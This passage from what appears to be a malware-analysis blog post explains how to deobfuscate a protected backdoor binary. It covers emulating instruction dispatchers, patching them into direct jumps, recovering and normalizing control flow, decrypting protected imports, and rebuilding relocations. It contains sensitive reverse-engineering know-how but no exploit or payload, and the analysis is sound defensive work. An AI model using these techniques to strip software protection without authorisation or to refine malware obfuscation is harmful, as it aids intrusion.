The Python code in Figure 24 performs this logic and operates as follows:

• Initialization of the Emulator
  • Creates the core engine for simulating execution (EmulateIntel64), maps the protected binary image (imgbuffer) into the emulator's memory space, maps the Thread Environment Block (TEB) as well to simulate a realistic Windows execution environment, and creates an initial snapshot to facilitate fast resets before each emulation run without needing to reinitialize the entire emulator each time.
  • MAX_DISPATCHER_RANGE specifies the maximum number of instructions to emulate for each dispatcher. The value 45 is chosen arbitrarily, sufficient given the limited instruction count in dispatchers even with the added mutations.
  • A try/except block is used to handle any exceptions during emulation. It is assumed that exceptions result from false positives among the potential dispatchers identified earlier and can be safely ignored.
• Emulating Each Potential Dispatcher
  • For each potential dispatcher address (call_dispatch_ea), the emulator's context is restored to the initial snapshot. The program counter (emu.pc) is set to the address of each dispatcher. emu.stepi() executes one instruction at the current program counter, after which the instruction is analyzed to determine whether we have finished.
    • If the instruction is a ret, the emulation has reached the dispatch point.
    • The dispatch target address is read from the stack using emu.parse_u64(emu.rsp).
  • The results are captured by d.dispatchers_to_target, which maps the dispatcher address to the dispatch target. The dispatcher address is additionally stored in the d.dispatcher_locs lookup cache.
    • The break statement exits the inner loop, proceeding to the next dispatcher.

Patching and Linearization

After collecting and verifying every captured instruction dispatcher, the final step is to replace each call location with a direct branch to its respective destination target. Since both near call and jmp instructions occupy 5 bytes in size, this replacement can be seamlessly performed by merely patching the jmp instruction over the call.

Figure 25: Patching sequence to transform instruction dispatcher calls to unconditional jmps to their destination targets

We utilize the dispatchers_to_target map, established in the previous section, which associates each dispatcher call location with its corresponding destination target. By iterating through this map, we identify each dispatcher call location and replace the original call instruction with a jmp. This substitution redirects the execution flow directly to the intended target addresses.

This removal is pivotal to our deobfuscation strategy as it removes the intended dynamic dispatch element that instruction dispatchers were designed to provide. Although the code is still scattered throughout the code segment, the execution flow is now statically deterministic, making it immediately apparent which instruction leads to the next one.

When we compare these results to the initial screenshot from the Instruction Dispatcher section, the blocks still appear scattered. However, their execution flow has been linearized. This progress allows us to move forward to the second phase of our CFG recovery.

Figure 26: Linearized instruction dispatcher control flow

Function Identification and Recovery

By eliminating the effects of instruction dispatchers, we have linearized the execution flow. The next step involves assimilating the dispersed code and leveraging the linearized control flow to reconstruct the original functions that comprised the unprotected binary. This recovery phase involves several stages, including raw instruction recovery, normalization, and the construction of the final CFG.

Function identification and recovery is encapsulated in the following two abstractions:

• Recovered instruction (RecoveredInstr): The fundamental unit for representing individual instructions recovered from an obfuscated binary. Each instance encapsulates not only the raw instruction data but also metadata essential for relocation, normalization, and analysis within the CFG recovery process.

• Recovered function (RecoveredFunc): The end result of successfully recovering an individual function from an obfuscated binary. It aggregates multiple RecoveredInstr instances, representing the sequence of instructions that constitute the unprotected function. The complete CFG recovery process results in an array of RecoveredFunc instances, each corresponding to a distinct function within the binary. We will utilize these results in the final Building Relocations in Deobfuscated Binaries section to produce fully deobfuscated binaries.

We do not utilize a basic block abstraction for our recovery approach given the following reasons. Properly abstracting basic blocks presupposes complete CFG recovery, which introduces unnecessary complexity and overhead for our purposes. Instead, it is simpler and more efficient to conceptualize a function as an aggregation of individual instructions rather than a collection of basic blocks in this particular deobfuscation context.

Figure 27: RecoveredInstr type definition

Figure 28: RecoveredFunc type definition

DFS Rule-Guided Stepping Introduction

We opted for a recursive-depth algorithm given the following reasons:

• Natural fit for code traversal: DFS allows us to infer function boundaries based solely on the flow of execution. It mirrors the way functions call other functions, making it intuitive to implement and reason about when reconstructing function boundaries. It also simplifies following the flow of loops and conditional branches.
• Guaranteed execution paths: We concentrate on code that is definitely executed. Given we have at least one known entry point into the obfuscated code, we know execution must pass through it in order to reach other parts of the code. While other parts of the code may be more indirectly invoked, this entry point serves as a foundational starting point.
  • By recursively exploring from this known entry, we will almost certainly encounter and identify virtually all code paths and functions during our traversal.
• Adapts to instruction mutations: We tailor the logic of the traversal with callbacks or "rules" that stipulate how we process each individual instruction. This helps us account for known instruction mutations and aids in stripping away the obfuscator's code.

The core data structures involved in this process are the following: CFGResult, CFGStepState, and RuleHandler:

• CFGResult: Container for the results of the CFG recovery process. It aggregates all pertinent information required to represent the CFG of a function within the binary, which it primarily consumes from CFGStepState.
• CFGStepState: Maintains the state throughout the CFG recovery process, particularly during the controlled-step traversal. It encapsulates all necessary information to manage the traversal state, track progress, and store intermediate results.
  • Recovered cache: Stores instructions that have been recovered for a protected function without any additional cleanup or verification. This initial collection is essential for preserving the raw state of the instructions as they exist within the obfuscated binary before any normalization or validation processes are applied after. It is always the first pass of recovery.
  • Normalized cache: The final pass in the CFG recovery process. It transforms the raw instructions stored in the recovered cache into a fully normalized CFG by removing all obfuscator-introduced instructions and ensuring the creation of valid, coherent functions.
  • Exploration stack: Manages the set of instruction addresses that are pending exploration during the DFS traversal for a protected function. It determines the order in which instructions are processed and utilizes a visited set to ensure that each instruction is processed only once.
  • Obfuscator backbone: A mapping to preserve essential control flow links introduced by the obfuscator
• RuleHandler: Mutation rules are merely callbacks that adhere to a specific function signature and are invoked during each instruction step of the CFG recovery process. They take as input the current protected binary, CFGStepState, and the current step-in instruction. Each rule contains specific logic designed to detect particular types of instruction characteristics introduced by the obfuscator. Based on the detection of these characteristics, the rules determine how the traversal should proceed. For instance, a rule might decide to continue traversal, skip certain instructions, or halt the process based on the nature of the mutation.

Figure 29: CFGResult type definition

Figure 30: CFGStepState type definition

Figure 31: RuleHandler type definition

The following figure is an example of a rule that is used to detect the patched instruction dispatchers we introduced in the previous section and differentiating them from standard jmp instructions:

Figure 32: RuleHandler example that identifies patched instruction dispatchers and differentiates them from standard jmp instructions

DFS Rule-Guided Stepping Implementation

The remaining component is a routine that orchestrates the CFG recovery process for a given function address within the protected binary. It leverages the CFGStepState to manage the DFS traversal and applies mutation rules to decode and recover instructions systematically. The result will be an aggregate of RecoveredInstr instances that constitute the first pass of raw recovery:

Figure 33: Flow chart of our DFS rule-guided stepping algorithm

The following Python code directly implements the algorithm outlined in Figure 33. It initializes the CFG stepping state and commences a DFS traversal starting from the function's entry address. During each step of the traversal, the current instruction address is retrieved from the to_explore exploration stack and checked against the visited set to prevent redundant processing. The instruction at the current address is then decoded, and a series of mutation rules are applied to handle any obfuscator-induced instruction modifications. Based on the outcomes of these rules, the traversal may continue, skip certain instructions, or halt entirely.

Recovered instructions are appended to the recovered cache, and their corresponding mappings are updated within the CFGStepState. The to_explore stack is subsequently updated with the address of the next sequential instruction to ensure systematic traversal. This iterative process continues until all relevant instructions have been explored, culminating in a CFGResult that encapsulates the fully recovered CFG.

Figure 34: DFS rule-guided stepping algorithm Python implementation

Normalizing the Flow

With the raw instructions successfully recovered, the next step is to normalize the control flow. While the raw recovery process ensures that all original instructions are captured, these instructions alone do not form a cohesive and orderly function. To achieve a streamlined control flow, we must filter and refine the recovered instructions—a process we refer to as normalization. This stage involves several key tasks:

• Updating branch targets: Once all of the obfuscator-introduced code (instruction dispatchers and mutations) are fully removed, all branch instructions must be redirected to their correct destinations. The scattering effect introduced by obfuscation often leaves branches pointing to unrelated code segments.

• Merging overlapping basic blocks: Contrary to the idea of a basic block as a strictly single-entry, single-exit structure, compilers can produce code in which one basic block begins within another. This overlapping of basic blocks commonly appears in loop structures. As a result, these overlaps must be resolved to ensure a coherent CFG.

• Proper function boundary instruction: Each function must begin and end at well-defined boundaries within the binary's memory space. Correctly identifying and enforcing these boundaries is essential for accurate CFG representation and subsequent analysis.

Simplifying with Synthetic Boundary Jumps

Rather than relying on traditional basic block abstractions—which can impose unnecessary overhead—we employ synthetic boundary jumps to simplify CFG normalization. These artificial jmp instructions link otherwise disjointed instructions, allowing us to avoid splitting overlapping blocks and ensuring that each function concludes at a proper boundary instruction. This approach also streamlines our binary rewriting process when reconstructing the recovered functions into the final deobfuscated output binary.

Merging overlapping basic blocks and ensuring functions have proper boundary instructions amount to the same problem—determining which scattered instructions should be linked together. To illustrate this, we will examine how synthetic jumps effectively resolve this issue by ensuring that functions conclude with the correct boundary instructions. The exact same approach applies to merging basic blocks together.

Synthetic Boundary Jumps to Ensure Function Boundaries

Consider an example where we have successfully recovered a function using our DFS-based rule-guided approach. Inspecting the recovered instructions in the CFGState reveals a mov instruction as the final operation. If we were to reconstruct this function in memory as-is, the absence of a subsequent fallthrough instruction would compromise the function's logic.

Figure 35: Example of a raw recovery that does not end with a natural function boundary instruction

To address this, we introduce a synthetic jump whenever the last recovered instruction is not a natural function boundary (e.g., ret, jmp, int3).

Figure 36: Simple Python routine that identifies function boundary instructions

We determine the fallthrough address, and if it points to an obfuscator-introduced instruction, we continue forward until reaching the first regular instruction. We call this traversal "walking the obfuscator's backbone":

Figure 37: Python routine that implements walking the obfuscator's backbone logic

We then link these points with a synthetic jump. The synthetic jump inherits the original address as metadata, effectively indicating which instruction it is logically connected to.

Figure 38: Example of adding a synthetic boundary jmp to create a natural function boundary

Updating Branch Targets

After normalizing the control flow, adjusting branch targets becomes a straightforward process. Each branch instruction in the recovered code may still point to obfuscator-introduced instructions rather than the intended destinations. By iterating through the normalized_flow cache (generated in the next section), we identify branching instructions and verify their targets using the walk_backbone routine. 

This ensures that all branch targets are redirected away from the obfuscator's artifacts and correctly aligned with the intended execution paths. Notice we can ignore call instructions given that any non-dispatcher call instruction is guaranteed to always be legitimate and never part of the obfuscator's protection. These will, however, need to be updated during the final relocation phase outlined in the Building Relocations in Deobfuscated Binaries section. 

Once recalculated, we reassemble and decode the instructions with updated displacements, preserving both correctness and consistency.

Figure 39: Python routine responsible for updating all branch targets

Putting It All Together

Putting it all together, we developed the following algorithm that builds upon the previously recovered instructions, ensuring that each instruction, branch, and block is properly connected, resulting in a completely recovered and deobfuscated CFG for an entire protected binary. We utilize the recovered cache to construct a new, normalized cache. The algorithm employs the following steps:

1. Iterate Over All Recovered Instructions

• Traverse all recovered instructions produced from our DFS-based stepping approach.

2. Add Instruction to Normalized Cache

• For each instruction, add it to the normalized cache, which captures the results of the normalization pass.

3. Identify Boundary Instructions

• Determine whether the current instruction is a boundary instruction.

• If it is a boundary instruction, skip further processing of this instruction and continue to the next one (return to Step 1).

4. Calculate Expected Fallthrough Instruction

• Determine the expected fallthrough instruction by identifying the sequential instruction that follows the current one in memory.

5. Verify Fallthrough Instruction

• Compare the calculated fallthrough instruction with the next instruction in the recovered cache.

• If the fallthrough instruction is not the next sequential instruction in memory, check whether it's a recovered instruction we already normalized:

• If it is, add a synthetic jump to link the two together in the normalized cache.

• If it is not, obtain the connecting fallthrough instruction from the recovery cache and append it to the normalized cache.

• If the fallthrough instruction matches the next instruction in the recovered cache:

• Do nothing, as the recovered instruction already correctly points to the fallthrough. Proceed to Step 6.

6. Handle Final Instruction

• Check if the current instruction is the final instruction in the recovered cache.

• If it is the final instruction:

• Add a final synthetic boundary jump, because if we reach this stage, we failed the check in Step 3.

• Continue iteration, which will cause the loop to exit.

• If it is not the final instruction:

• Continue iteration as normal (return to Step 1).

Figure 40: Flow chart of our normalization algorithm

The Python code in Figure 41 directly implements these normalization steps. It iterates over the recovered instructions and adds them to a normalized cache (normalized_flow), creates a linear mapping, and identifies where synthetic jumps are required. When a branch target points to obfuscator-injected code, it walks the backbone (walk_backbone) to find the next legitimate instruction. If the end of a function is reached without a natural boundary, a synthetic jump is created to maintain proper continuity. After the completion of the iteration, every branch target is updated (update_branch_targets), as illustrated in the previous section, to ensure that each instruction is correctly linked, resulting in a fully normalized CFG:

Figure 41: Python implementation of our normalization algorithm

Observing the Results

After applying our two primary passes, we have nearly eliminated all of the protection mechanisms. Although import protection remains to be addressed, our approach effectively transforms an incomprehensible mess into a perfectly recovered CFG.

For example, Figure 42 and Figure 43 illustrate the before and after of a critical function within the backdoor payload, which is a component of its plugin manager system. Through additional analysis of the output, we can identify functionalities that would have been impossible to delineate, much less in such detail, without our deobfuscation process.

Figure 42: Original obfuscated shadow::PluginProtocolCreateAndConfigure routine

Figure 43: Completely deobfuscated and functional shadow::PluginProtocolCreateAndConfigure routine

Import Recovery

Recovering and restoring the original import table revolves around identifying which import location is associated with which import dispatcher stub. From the stub dispatcher, we can parse the respective obf_imp_t reference in order to determine the protected import that it represents.

We pursue the following logic:

• Identify each valid call/jmp location associated to an import
  • The memory displacement for these will point to the respective dispatcher stub.
  • For HEADERLESS mode, we need to first resolve the fixup table to ensure the displacement points to a valid dispatcher stub.
• For each valid location traverse the dispatcher stub to extract the obf_imp_t
  • The obf_imp_t contains the RVAs to the encrypted DLL and API names.
• Implement the string decryption logic
  • We need to reimplement the decryption logic in order to recover the DLL and API names.
  • This was already done in the initial Import Protection section.

We encapsulate the recovery of imports with the following RecoveredImport data structure:

Figure 44: RecoveredImport type definition

RecoveredImport serves as the result produced for each import that we recover. It contains all the relevant data that we will use to rebuild the original import table when producing the deobfuscated image.

Locate Protected Import CALL and JMP Sites

Each protected import location will be reflected as either an indirect near call (FF/2) or an indirect near jmp (FF/4):

Figure 45: Disassembly of import calls and jmps representation

Indirect near calls and jmps fall under the FF group opcode where the Reg field within the ModR/M byte identifies the specific operation for the group:

• /2: corresponds to CALL r/m64

• /4: corresponds to JMP r/m64

Taking an indirect near call as an example and breaking it down looks like the following:

1. FF: group opcode.

2. 15: ModR/M byte specifying CALL r/m64 with RIP-relative addressing.

• 15 is encoded in binary as 00010101

• Mod (bits 6-7):  00

• Indicates either a direct RIP-relative displacement or memory addressing with no displacement.

• Reg (bits 3-5): 010

• Identifies the call operation for the group

• R/M (bits 0-2): 101

• In 64-bit mode with Mod 00 and R/M 101, this indicates RIP-relative addressing.

3. <32-bit displacement>: added to RIP to compute the absolute address.

To find each protected import location and their associated dispatcher stubs we implement a trivial brute force scanner that locates all potential indirect near call/jmps via their first two opcodes.

Figure 46: Brute-force scanner to locate all possible import locations

The provided code scans the code section of a protected binary to identify and record all locations with opcode patterns associated with indirect call and jmp instructions. This is the first step we take, upon which we apply additional verifications to guarantee it is a valid import site.

Resolving the Import Fixup Table

We have to resolve the fixup table when we recover imports for the HEADERLESS protection in order to identify which import location is associated with which dispatcher. The memory displacement at the protected import site will be paired with its resolved location inside the table. We use this displacement as a lookup into the table to find its resolved location.

Let's take a jmp instruction to a particular import as an example.

Figure 47: Example of a jmp import instruction including its entry in the import fixup table and the associated dispatcher stub

The jmp instruction's displacement references the memory location 0x63A88, which points to garbage data. When we inspect the entry for this import in the fixup table using the memory displacement, we can identify the location of the dispatcher stub associated with this import at 0x295E1. The loader will update the referenced data at 0x63A88 with 0x295E1, so that when the jmp instruction is invoked, execution is appropriately redirected to the dispatcher stub. 

Figure 48 is the deobfuscated code in the loader responsible for resolving the fixup table. We need to mimic this behavior in order to associate which import location targets which dispatcher.

$_Loop_Resolve_ImpFixupTbl: mov ecx, [rdx+4] ; fixup , either DLL, API, or ImpStub mov eax, [rdx] ; target ref loc that needs to be "fixed up" inc ebp ; update the counter add rcx, r13 ; calculate fixup fully (r13 is imgbase) add rdx, 8 ; next pair entry mov [r13+rax+0], rcx ; update the target ref loc w/ full fixup movsxd rax, dword ptr [rsi+18h] ; fetch imptbl total size, in bytes shr rax, 3 ; account for size as a pair-entry cmp ebp, eax ; check if done processing all entries jl $_Loop_Resolve_ImpTbl

Figure 48: Deobfuscated disassembly of the algorithm used to resolve the import fixup table

Resolving the import fixup table requires us to have first identified the data section within the protected binary and the metadata that identifies the import table (IMPTBL_OFFSET, IMPTBL_SIZE). The offset to the fixup table is from the start of the data section.

Figure 49: Python re-implementation of the algorithm used to resolve the import fixup table

Having the start of the fixup table, we simply iterate one entry at a time and identify which import displacement (location) is associated with which dispatcher stub (fixup).

Recovering the Import

Having obtained all potential import locations from the brute-force scan and accounted for relocations in HEADERLESS mode, we can proceed with the final verifications to recover each protected import. The recovery process is conducted as follows:

1. Decode the location into a valid call or jmp instruction
   • Any failure in decoding indicates that the location does not contain a valid instruction and can be safely ignored.
2. Use the memory displacement to locate the stub for the import
   • In HEADERLESS mode, each displacement serves as a lookup key into the fixup table for the respective dispatcher.
3. Extract the obf_imp_t structure within the dispatcher
   • This is achieved by statically traversing a dispatcher's disassembly listing.
   • The first lea instruction encountered will contain the reference to the obf_imp_t.
4. Process the obf_imp_t to decrypt both the DLL and API names
   • Utilize the two RVAs contained within the structure to locate the encrypted blobs for the DLL and API names.
   • Decrypt the blobs using the outlined import decryption routine.

Figure 50: Loop that recovers each protected import

The Python code iterates through every potential import location (potential_stubs) and attempts to decode each presumed call or jmp instruction to an import. A try/except block is employed to handle any failures, such as instruction decoding errors or other exceptions that may arise. The assumption is that any error invalidates our understanding of the recovery process and can be safely ignored. In the full code, these errors are logged and tracked for further analysis should they arise.

Next, the code invokes a GET_STUB_DISPLACEMENT helper function that obtains the RVA to the dispatcher associated with the import. Depending on the mode of protection, one of the following routines is used:

Figure 51: Routines that retrieve the stub RVA based on the protection mode

The recover_import_stub function is utilized to reconstruct the control flow graph (CFG) of the import stub, while _extract_lea_ref examines the instructions in the CFG to locate the lea reference to the obf_imp_t. The GET_DLL_API_NAMES function operates similarly to GET_STUB_DISPLACEMENT, accounting for slight differences depending on the protection mode:

Figure 52: Routines that decrypt the DLL and API blobs based on the protection mode

After obtaining the decrypted DLL and API names, the code possesses all the necessary information to reveal the import that the protection conceals. The final individual output of each import entry is captured in a RecoveredImport object and two dictionaries:

• d.imports
  • This dictionary maps the address of each protected import to its recovered state. It allows for the association of the complete recovery details with the specific location in the binary where the import occurs.
• d.imp_dict_builder
  • This dictionary maps each DLL name to a set of its corresponding API names. It is used to reconstruct the import table, ensuring a unique set of DLLs and the APIs utilized by the binary.

This systematic collection and organization prepare the necessary data to facilitate the restoration of the original functionality in the deobfuscated output. In Figure 53 and Figure 54, we can observe these two containers to showcase their structure after a successful recovery:

Figure 53: Output of the d.imports dictionary after a successful recovery

Figure 54: Output of the d.imp_dict_builder dictionary after a successful recovery

Observing the Final Results

This final step—rebuilding the import table using this data—is performed by the build_import_table function in the pefile_utils.py source file. This part is omitted from the blog post due to its unavoidable length and the numerous tedious steps involved. However, the code is well-commented and structured to thoroughly address and showcase all aspects necessary for reconstructing the import table.

Nonetheless, the following figure illustrates how we generate a fully functional binary from a headerless-protected input. Recall that a headerless-protected input is a raw, headerless PE binary, almost analogous to a shellcode blob. From this blob we produce an entirely new, functioning binary with the entirety of its import protection completely restored. And we can do the same for all protection modes.

Figure 55: Display of completely restored import table for a binary protected in HEADERLESS mode

Building Relocations in Deobfuscated Binaries

Now that we can fully recover the CFG of protected binaries and provide complete restoration of the original import tables, the final phase of the deobfuscator involves merging these elements to produce a functional deobfuscated binary. The code responsible for this process is encapsulated within the recover_output64.py and the pefile_utils.py Python files.

The rebuild process comprises two primary steps:

1. Building the Output Image Template

2. Building Relocations

1. Building the Output Image Template

Creating an output image template is essential for generating the deobfuscated binary. This involves two key tasks:

• Template PE Image: A Portable Executable (PE) template that serves as the container for the output binary that incorporates the restoration of all obfuscated components. We also need to be cognizant of all the different characteristics between in-memory PE executables and on-file PE executables.

• Handling Different Protection Modes: Different protection modes and input stipulate different requirements.

• Headerless variants have their file headers stripped. We must account for these variations to accurately reconstruct a functioning binary.

• Selective protection preserves the original imports to maintain functionality as well as includes a specific import protection for all the imports leveraged within the selected functions. 

2. Building Relocations

Building relocations is a critical and intricate part of the deobfuscation process. This step ensures that all address references within the deobfuscated binary are correctly adjusted to maintain functionality. It generally revolves around the following two phases:

• Calculating Relocatable Displacements: Identifying all memory references within the binary that require relocation. This involves calculating the new addresses where these references will point to. The technique we will use is generating a lookup table that maps original memory references to their new relocatable addresses.

• Apply Fixups: Modifies the binary's code to reflect the new relocatable addresses. This utilizes the aforementioned lookup table to apply necessary fixups to all instruction displacements that reference memory. This ensures that all memory references within the binary correctly point to their intended locations.

We intentionally omit the details of showcasing the rebuilding of the output binary image because, while essential to the deobfuscation process, it is straightforward enough and just overly tedious to be worthwhile examining in any depth. Instead, we focus exclusively on relocations, as they are more nuanced and reveal important characteristics that are not as apparent but must be understood when rewriting binaries.

Overview of the Relocation Process

Rebuilding relocations is a critical step in restoring a deobfuscated binary to an executable state. This process involves adjusting memory references within the code so that all references point to the correct locations after the code has been moved or modified. On the x86-64 architecture, this primarily concerns instructions that use RIP-relative addressing, a mode where memory references are relative to the instruction pointer.

Relocation is necessary when the layout of a binary changes, such as when code is inserted, removed, or shifted during deobfuscation. Given our deobfuscation approach extracts the original instructions from the obfuscator, we are required to relocate each recovered instruction appropriately into a new code segment. This ensures that the deobfuscated state preserves the validity of all memory references and that the accuracy of the original control and data flow is sustained.

Understanding Instruction Relocation

Instruction relocation revolves around the following:

• Instruction's memory address: the location in memory where an instruction resides.
• Instruction's memory memory references: references to memory locations used by the instruction's operands.

Consider the following two instructions as illustrations:

Figure 56: Illustration of two instructions that require relocation

1. Unconditional jmp instructionThis instruction is located at memory address 0x1000. It references its branch target at address 0x4E22. The displacement encoded within the instruction is 0x3E1D, which is used to calculate the branch target relative to the instruction's position. Since it employs RIP-relative addressing, the destination is calculated by adding the displacement to the length of the instruction and its memory address.

2. lea instructionThis is the branch target for the jmp instruction located at 0x4E22. It also contains a memory reference to the data segment, with an encoded displacement of 0x157.

When relocating these instructions, we must address both of the following aspects:

• Changing the instruction's address: When we move an instruction to a new memory location during the relocation process, we inherently change its memory address. For example, if we relocate this instruction from 0x1000 to 0x2000, the instruction's address becomes 0x2000.

• Adjusting memory displacements: The displacement within the instruction (0x3E1D for the jmp, 0x157 for the lea) is calculated based on the instruction's original location and the location of its reference. If the instruction moves, the displacement no longer points to the correct target address. Therefore, we must recalculate the displacement to reflect the instruction's new position.

Figure 57: Updated illustration demonstration of what relocation would look like

When relocating instructions during the deobfuscation process, we must ensure accurate control flow and data access. This requires us to adjust both the instruction's memory address and any displacements that reference other memory locations. Failing to update these values invalidates the recovered CFG.

What Is RIP-Relative Addressing?

RIP-relative addressing is a mode where the instruction references memory at an offset relative to the RIP (instruction pointer) register, which points to the next instruction to be executed. Instead of using absolute addresses, the instruction encapsulates the referenced address via a signed 32-bit displacement from the current instruction pointer.

Addressing relative to the instruction pointer exists on x86 as well, but only for control-transfer instructions that support a relative displacement (e.g., JCC conditional instructions, near CALLs, and near JMPs). The x64 ISA extended this to account for almost all memory references being RIP-relative. For example, most data references in x64 Windows binaries are RIP-relative.

An excellent tool to visualize the intricacies of a decoded Intel x64 instruction is ZydisInfo. Here we use it to illustrate how a LEA instruction (encoded as 488D151B510600) references RIP-relative memory at 0x6511b.

Figure 58: ZydisInfo output for the lea instruction

For most instructions, the displacement is encoded in the final four bytes of the instruction. When an immediate value is stored at a memory location, the immediate follows the displacement. Immediate values are restricted to a maximum of 32 bits, meaning 64-bit immediates cannot be used following a displacement. However, 8-bit and 16-bit immediate values are supported within this encoding scheme.

Figure 59: ZydisInfo output for the mov instruction storing an immediate operand

Displacements for control-transfer instructions are encoded as immediate operands, with the RIP register implicitly acting as the base. This is evident when decoding a jnz instruction, where the displacement is directly embedded within the instruction and calculated relative to the current RIP.

Figure 60: ZydisInfo output for the jnz instruction with an immediate operand as the displacement

Steps in the Relocation Process

For rebuilding relocations we take the following approach:

1. Rebuilding the code section and creating a relocation mapWith the recovered CFG and imports, we commit the changes to a new code section that contains the fully deobfuscated code. We do this by:

• Function-by-function processing: rebuild each function one at a time. This allows us to manage the relocation of each instruction within its respective function.

• Tracking instruction locations: As we rebuild each function, we track the new memory locations of each instruction. This involves maintaining a global relocation dictionary that maps original instruction addresses to their new addresses in the deobfuscated binary. This dictionary is crucial for accurately updating references during the fixup phase.

2. Applying fixupsAfter rebuilding the code section and establishing the relocation map, we proceed to modify the instructions so that their memory references point to the correct locations in the deobfuscated binary. This restores the binary's complete functionality and is achieved by adjusting memory references to code or data an instruction may have.

Rebuilding the Code Section and Creating a Relocation Map

To construct the new deobfuscated code segment, we iterate over each recovered function and copy all instructions sequentially, starting from a fixed offset—for example, 0x1000. During this process, we build a global relocation dictionary (global_relocs) that maps each instruction to its relocated address. This mapping is essential for adjusting memory references during the fixup phase.

The global_relocs dictionary uses a tuple as the key for lookups, and each key is associated with the relocated address of the instruction it represents. The tuple consists of the following three components:

1. Original starting address of the function: The address where the function begins in the protected binary. It identifies the function to which the instruction belongs.

2. Original instruction address within the function: The address of the instruction in the protected binary. For the first instruction in a function, this will be the function's starting address.

3. Synthetic boundary JMP flag: A boolean value indicating whether the instruction is a synthetic boundary jump introduced during normalization. These synthetic instructions were not present in the original obfuscated binary, and we need to account for them specifically during relocation because they have no original address.

Figure 61: Illustration of how the new code segment and relocation map are generated

The following Python code implements the logic outlined in Figure 61. Error handling and logging code has been stripped for brevity.

Figure 62: Python logic that implements the building of the code segment and generation of the relocation map

1. Initialize current offset
   Set the starting point in the new image buffer where the code section will be placed. The variable curr_off is initialized to starting_off, which is typically 0x1000. This represents the conventional start address of the .text section in PE files. For SELECTIVE mode, this will be the offset to the start of the protected function.
2. Iterate over recovered functions
   Loop through each recovered function in the deobfuscated control flow graph (d.cfg). func_ea is the original function entry address, and rfn is a RecoveredFunc object encapsulating the recovered function's instructions and metadata.
   1. Handle the function start address first

      1. Set function's relocated start address: Assign the current offset to rfn.reloc_ea, marking where this function will begin in the new image buffer.

      2. Update global relocation map: Add an entry to the global relocation map d.global_relocs to map the original function address to its new location.
   2. Iterate over each recovered instruction
      Loop through the normalized flow of instructions within the function. We use the normalized_flow as it allows us to iterate over each instruction linearly as we apply it to the new image.
      1. Set instruction's relocated address: Assign the current offset to r.reloc_ea, indicating where this instruction will reside in the new image buffer.
      2. Update global relocation map: Add an entry to d.global_relocs for the instruction, mapping its original address to the relocated address.
      3. Update the output image: Write the instruction bytes to the new image buffer d.newimgbuffer at the current offset. If the instruction was modified during deobfuscation (r.updated_bytes), use those bytes; otherwise, use the original bytes (r.instr.bytes).
      4. Advance the offset: Increment curr_off by the size of the instruction to point to the next free position in the buffer and move on to the next instruction until the remainder are exhausted.
3. Align current offset to 16-byte boundaryAfter processing all instructions in a function, align curr_off to the next 16-byte boundary. We use 8 bytes as an arbitrary pointer-sized value from the last instruction to pad so that the next function won't conflict with the last instruction of the previous function. This further ensures proper memory alignment for the next function, which is essential for performance and correctness on x86-64 architectures. Then repeat the process from step 2 until all functions have been exhausted.

This step-by-step process accurately rebuilds the deobfuscated binary's executable code section. By relocating each instruction, the code prepares the output template for the subsequent fixup phase, where references are adjusted to point to their correct locations.

Applying Fixups

After building the deobfuscated code section and relocating each recovered function in full, we apply fixups to correct addresses within the recovered code. This process adjusts the instruction bytes in the new output image so that all references point to the correct locations. It is the final step in reconstructing a functional deobfuscated binary.

We categorize fixups into three distinct categories, based primarily on whether they apply to control flow or data flow instructions. We further distinguish between two types of control flow instructions: standard branching instructions and those introduced by the obfuscator through the import protection. Each type has specific nuances that require tailored handling, allowing us to apply precise logic to each category.

1. Import Relocations: These involve calls and jumps to recovered imports.

2. Control Flow Relocations: All standard control flow branching branching instructions.

3. Data Flow Relocations: Instructions that reference static memory locations.

Using these three categorizations, the core logic boils down to the following two phases:

1. Resolving displacement fixups
   • Differentiate between displacements encoded as immediate operands (branching instructions) and those in memory operands (data accesses and import calls).
   • Calculate the correct fixup values for these displacements using the d.global_relocs map generated prior.
2. Update the output image buffer
   • Once the displacements have been resolved, write the updated instruction bytes into the new code segment to reflect the changes permanently.

To achieve this, we utilize several helper functions and lambda expressions. The following is a step-by-step explanation of the code responsible for calculating the fixups and updating the instruction bytes.

Figure 63: Helper routines that aid in applying fixups

• Define lambda helper expressions
  • PACK_FIXUP: packs a 32-bit fixup value into a little-endian byte array.
  • CALC_FIXUP: calculates the fixup value by computing the difference between the destination address (dest) and the end of the current instruction (r.reloc_ea + size), ensuring it fits within 32 bits.
  • IS_IN_DATA: checks if a given address is within the data section of the binary. We exclude relocating these addresses, as we preserve the data section at its original location.
• Resolve fixups for each instruction
  • Import and data flow relocations
    • Utilize the resolve_disp_fixup_and_apply helper function as both encode the displacement within a memory operand.
  • Control flow relocations
    • Use the resolve_imm_fixup_and_apply helper as the displacement is encoded in an immediate operand.
    • During our CFG recovery, we transformed each jmp and jcc instruction to its near jump equivalent (from 2 bytes to 6 bytes) to avoid the shortcomings of 1-byte short branches.
      • We force a 32-bit displacement for each branch to guarantee a sufficient range for every fixup.
• Update the output image buffer
  • Decode the updated instruction bytes to have it reflect within the RecoveredInstr that represents it.
  • Write the updated bytes to the new image buffer
    • updated_bytes reflects the final opcodes for a fully relocated instruction.

With the helpers in place, the following Python code implements the final processing for each relocation type.

Figure 64: The three core loops that address each relocation category

• Import Relocations: The first for loop handles fixups for import relocations, utilizing data generated during the Import Recovery phase. It iterates over every recovered instruction r within the rfn.relocs_imports cache and does the following:
  • Prepare updated instruction bytes: initialize r.updated_bytes with a mutable copy of the original instruction bytes to prepare it for modification.
  • Retrieve import entry and displacement: obtain the import entry from the imports dictionary d.imports and retrieve the new RVA from d.import_to_rva_map using the import's API name.
  • Apply fixup: use the resolve_disp_fixup_and_apply helper to calculate and apply the fixup for the new RVA. This adjusts the instruction's displacement to correctly reference the imported function.
  • Update image buffer: write r.updated_bytes back into the new image using update_reloc_in_img. This finalizes the fixup for the instruction in the output image.
• Control Flow Relocations: The second for loop handles fixups for control flow branching relocations (call, jmp, jcc). Iterating over each entry in rfn.relocs_ctrlflow, it does the following:
  • Retrieve destination: extract the original branch destination target from the immediate operand.
  • Get relocated address: reference the relocation dictionary d.global_relocs to obtain the branch target's relocated address. If it's a call target, then we specifically look up the relocated address for the start of the called function.
  • Apply fixup: use resolve_imm_fixup_and_apply to adjust the branch target to its relocated address.
  • Update buffer: finalize the fixup by writing r.updated_bytes back into the new image using update_reloc_in_img.
